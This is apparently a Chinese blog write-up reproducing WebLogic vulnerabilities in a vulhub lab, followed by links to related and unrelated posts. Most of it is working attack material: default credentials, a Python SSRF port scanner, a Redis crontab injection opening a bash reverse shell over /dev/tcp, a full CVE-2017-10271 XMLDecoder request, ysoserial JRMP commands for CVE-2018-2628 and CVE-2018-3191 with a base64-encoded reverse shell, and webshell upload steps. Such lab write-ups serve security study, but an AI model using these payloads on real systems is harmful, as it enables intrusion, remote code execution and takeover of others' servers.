About WebLogic

WebLogic是美商Oracle的主要产品之一,系购并得来。是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器,目前已推出到12c(12.1.1)版。而此产品也延伸出WebLogic Portal, WebLogic Integration等企业用的中间件(但目前Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业包),以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。

———— 引自 wikipedia

类似于一个Tomcat Apche之类的webserver,但是拥有更多集成的开发、集成、部署和管理功能。

常开放于7001/7002端口

漏洞环境来自于vulhub https://github.com/vulhub/vulhub/tree/master/weblogic

weak_password

访问/console会转跳到管理员的登录界面

这里提供了两种方法进行进入后台,一个是弱口令,还有就是配合任意文件读取破解密码

弱口令的话没什么技巧可言,但也是实战中比较重要的一种方式,这里账号密码为

  • 账号:weblogic
  • 密码:Oracle@123

配合任意文件读取的话这里提供了一个http://your-ip:7001/hello/file.jsp?path=任意文件读取点,需要读取两个文件(当前目录为/root/Oracle/Middleware/user_projects/domains/base_domain

./security/SerializedSystemIni.dat 并将获取到的二进制字符保存到文件中

./config/config.xml获取到node-manager-password-encrypted这个字段下的值

由于加密的算法是基于对称加密的,所以可以破解出原密码(工具在网上也不难找到

这样就可以顺利登录到网站后台了,然后就是部署一个包含自己马的war包(没有jsp马的我默默问大佬要了个马

linux下可以直接用命令打包war包

1
jar -cvf [war包名] [目录名]

然后部署war包

访问http://your-ip:7001/web/web/xxx.jsp即可访问到上传的马

SSRF

漏洞产生于/uddiexplorer/SearchPublicRegistries.jsp页面中,可以导致ssrf,用来攻击内网中一些redis和fastcgi之类的脆弱组件

1
2
3
4
5
6
7
8
http://192.168.85.133:7001/uddiexplorer/SearchPublicRegistries.jsp
?rdoSearch=name
&txtSearchname=sdf
&txtSearchkey=
&txtSearchfor=
&selfor=Business+location
&btnSubmit=Search
&operator=http://localhost:7001

当http端口存活的时候就会显示404not found

随机访问一个端口则会显示could not connect

一个非http的协议则会返回did not have a valid SOAP,不存活的主机就是No route to host

访问redis服务时

攻击内网redis

一个简单的内网扫扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
url = "http://192.168.85.133:7001/uddiexplorer/SearchPublicRegistries.jsp" ports = [6378,6379,22,25,80,8080,8888,8000, 7001, 7002]
for i in range(1,255):
for port in ports:
params = dict(
rdoSearch = "name",
txtSearchname = "sdf",
selfor = "Business+location",
btnSubmit = "Search",
operator = "http://172.23.0.{}:{}".format(i,port))
try:
r = requests.get(url, params=params, timeout = 3)
except:
pass if 'could not connect over HTTP to server' not in r.text and 'No route to host' not in r.text:
print('[*] http://172.23.0.{}:{}'.format(i,port))
else:
pass#print('[-] http://172.23.0.{}:{}'.format(i,port))

扫描结果

1
2
3
4
[*] http://172.23.0.1:80
[*] http://172.23.0.1:7001
[*] http://172.23.0.2:6379
[*] http://172.23.0.3:7001

172.23.0.1是我本地虚拟机,就可以忽略,6379就是很熟悉的redis了

写如定时命令,详细攻击redis可以参考下 https://www.kingkk.com/2018/08/redis%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E4%B8%8Essrf%E5%88%A9%E7%94%A8/

1
2
3
4
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.23.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

转换成url格式,然后传输

1
http://192.168.85.133:7001//uddiexplorer/SearchPublicRegistries.jsp?operator=http://172.23.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20>%26%20%2Fdev%2Ftcp%2F172.23.0.1%2F1234%200>%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

在虚拟机中用nc监听端口

1
nc -l -p 1234

过一会就能看到反弹回来的shell

业务无需UUDI功能时建议将其关闭

反序列化 CVE-2017-10271

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

漏洞发生在/wls-wsat/CoordinatorPortType页面中,它会将传入的xml语句进行解析、然后反序列化,造成任意代码执行

构造如下的http包,在<string>sub</string>中传入所需的命令即可命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.85.133:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Content-Length: 544
Connection: close
Upgrade-Insecure-Requests: 1 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>sub</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

我这由于是在虚拟机中搭建的,就弹了个sublime框

需要注意的是Content-Type要设置成text/xml否则不会解析xml

反序列化 CVE-2018-2628

首先需要一个ysoserial

https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar

启动一个JRMP Server,[listen port] 为监听的端口 [ommand]为想要执行的命令

1
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

如我这为

1
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 23333 CommonsCollections1 'touch /tmp/evil'

运行exp

1
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
  • [victim ip]: weblogic ip
  • [victim port]:weblogic 端口
  • [path to ysoserial]:ysoserial地址
  • [JRMPListener ip]:JRMP Server的ip
  • [JRMPListener port]:JRMP Server的端口
  • [JRMPClient]:有JRMPClientJRMPClient2两个选项
1
python 44553.py 127.0.0.1 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.85.133 23333 JRMPClient

然后进入虚拟机内部之后,就可看到tmp目录下生成的evil文件

复现的时候有几个小问题,JRMP Server的ip需要填本地主网卡(用于上网的那个)的ip

然后在物理机上攻击虚拟机中映射出来的docker环境不知道为什么没有成功

以及自己在虚拟机上搭建的weblogic10.3.6貌似也没有成功。。

任意文件上传 CVE-2018-2894

访问/ws_utc/config.do页面可以设置工作目录,将其设置为

1
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

然后在安全->添加处上传一个小马

在返回的数据包中有文件的id值

然后访问/ws_utc/css/config/keystore/[id]_[filename]即可访问到文件

这个漏洞有个限制条件就是需要在开发模式下进行,否生产模式时需要进行认证登录

CVE-2018-3191

更新于2018/10/31

听说最近又出了一个危害比较大的漏洞,遂复现了一下。和之前一样,需要weblogic开启T3协议

1
nmap -n -v -Pn -sV 192.168.85.144 --script=weblogic-t3-info.nse

需要一些准备的工具,具体可看这里https://github.com/jas502n/CVE-2018-3191

需要先生成一个payload

1
java -jar weblogic-spring-jndi-10.3.6.0.jar rmi://攻击机ip:端口/exp > payload
1
java -jar weblogic-spring-jndi-10.3.6.0.jar rmi://172.20.0.1:8888/exp > payload

开启一个rmi服务

1
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 端口 CommonsCollections1 "要执行的指令"
1
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 8888 Commonollections1 "bash -c {echo,L2Jpbi9iYXNoIC1pID4gL2Rldi90Y3AvMTcyLjIwLjAuMS83Nzc3IDA8JjEgMj4mMQ==}|{base64,-d}|{bash,-i}"

这里将shell弹到了本地的7777端口,用nc监听一下

1
nc -lnvp 7777

发送攻击流量

1
python weblogic.py 172.20.0.2 7001 payload

同时rmi服务会接受到172.20.0.2的流量

成功getshell

weblogic漏洞练习的更多相关文章

  1. [原创]K8Cscan插件之Weblogic漏洞扫描&通用GetShell Exploit

    [原创]K8 Cscan 大型内网渗透自定义扫描器 https://www.cnblogs.com/k8gege/p/10519321.html Cscan简介:何为自定义扫描器?其实也是插件化,但C ...

  2. Weblogic漏洞利用

    Weblogic漏洞 Weblogic任意文件上传(CVE-2018-2894) 受影响版本 weblogic 10.3.6.0.weblogic 12.1.3.0.weblogic 12.2.1.2 ...

  3. Weblogic漏洞分析之JNDI注入-CVE-2020-14645

    Weblogic漏洞分析之JNDI注入-CVE-2020-14645 Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9. ...

  4. weblogic漏洞分析之CVE-2021-2394

    weblogic漏洞分析之CVE-2021-2394 简介 Oracle官方发布了2021年7月份安全更新通告,通告中披露了WebLogic组件存在高危漏洞,攻击者可以在未授权的情况下通过IIOP.T ...

  5. weblogic漏洞分析之CVE-2016-0638

    weblogic漏洞分析之CVE-2016-0638 一.环境搭建: 这里使用前一篇文章的环境,然后打上补丁 上一篇文章:https://www.cnblogs.com/yyhuni/p/151370 ...

  6. weblogic漏洞分析之CVE-2017-10271

    weblogic漏洞分析之CVE-2017-10271 一.环境搭建 1)配置docker 这里使用vulhub的环境:CVE-2017-10271 编辑docker-compose.yml文件,加入 ...

  7. weblogic漏洞初探之CVE-2015-4852

    weblogic漏洞初探之CVE-2015-4852 一.环境搭建 1. 搭建docker 这里用了vulhub的环境进行修改:https://vulhub.org/ 新建个文件夹,创建两个文件doc ...

  8. Weblogic漏洞修复记录

    1.CVE-2018-2628.CVE-2018-2893 以上两个漏洞均是针对weblogic的t3服务进行攻击,如果有条件的,可以从oracle官网下载最新的补丁安装http://www.orac ...

  9. weblogic漏洞

    1 weblogic控制台地址暴露 ²  整改方法: 禁用weblogic控制台.在weblogic域(sguap-domain和base-domain)的config下的config.xml中 &l ...

  10. [WEB安全]Weblogic漏洞总结

    0x01 Weblogic简介 1.1 叙述 Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开 ...

随机推荐

  1. js 四舍五入实现

    js Number.prototype.toFixed 进行的舍入的算法没研究明白,应该不是四舍六入五成双,当然也不是四舍五入 下面是chrome与excel的对比 修改完之后的结果 对于“问题数据” ...

  2. Selenium的Web自动化测试(送源码)

    8.1  Selenium自动化测试准备 1.Selenium介绍 Selenium是一个Web开源自动化测试框架,页面级操作,模拟用户真实操作,API从系统层面触发事件. Selenium 1.0  ...

  3. ThinkPHP使用soapclient调用webservice接口

    1,开启 php.ini 这2个服务 12 extension=php_openssl.dllextension=php_soap.dll 以公共天气预报webservice为例,采用thinkPHP ...

  4. Image图片

    # View more python tutorials on my Youtube and Youku channel!!! # Youtube video tutorial: https://ww ...

  5. Apple store,奢华背后的辛酸

    store,奢华背后的辛酸" title="Apple store,奢华背后的辛酸">    2000年的时候,乔布斯提出了要建造苹果直营店,也就是Apple st ...

  6. 阿里大数据竞赛season1 总结

    关于样本测试集和训练集数量上,一般是选择训练集数量不小于测试集,也就是说训练集选取6k可能还不够,大家可以多尝试得到更好的效果: 2. 有人提出归一化方面可能有问题,大家可以查查其他的归一化方法,但是 ...

  7. 深度学习论文笔记:Fast R-CNN

    知识点 mAP:detection quality. Abstract 本文提出一种基于快速区域的卷积网络方法(快速R-CNN)用于对象检测. 快速R-CNN采用多项创新技术来提高训练和测试速度,同时 ...

  8. 使用Lucene.Net做一个简单的搜索引擎-全文索引

    Lucene.Net Lucene.net是Lucene的.net移植版本,是一个开源的全文检索引擎开发包,即它不是一个完整的全文检索引擎,而是一个全文检索引擎的架构,提供了完整的查询引擎和索引引擎. ...

  9. PHP 解决对文件操作的高并发问题

    解决方案:     对文件进行加锁时,设置一个超时时间.超时设置为1ms,如果这段时间内没有获得锁,就反复获得,直到获得对文件的操作权为止.如果超市限制已到,就必须马上退出,让出锁让其他进程进行操作. ...

  10. Grafana+Prometheus监控mysql性能

    #cmd /usr/local 今天讲一下如何监控服务器中的mysql数据库的性能 一.数据库操作 1.mysql启动 #service mysqld start #启动数据库 #service my ...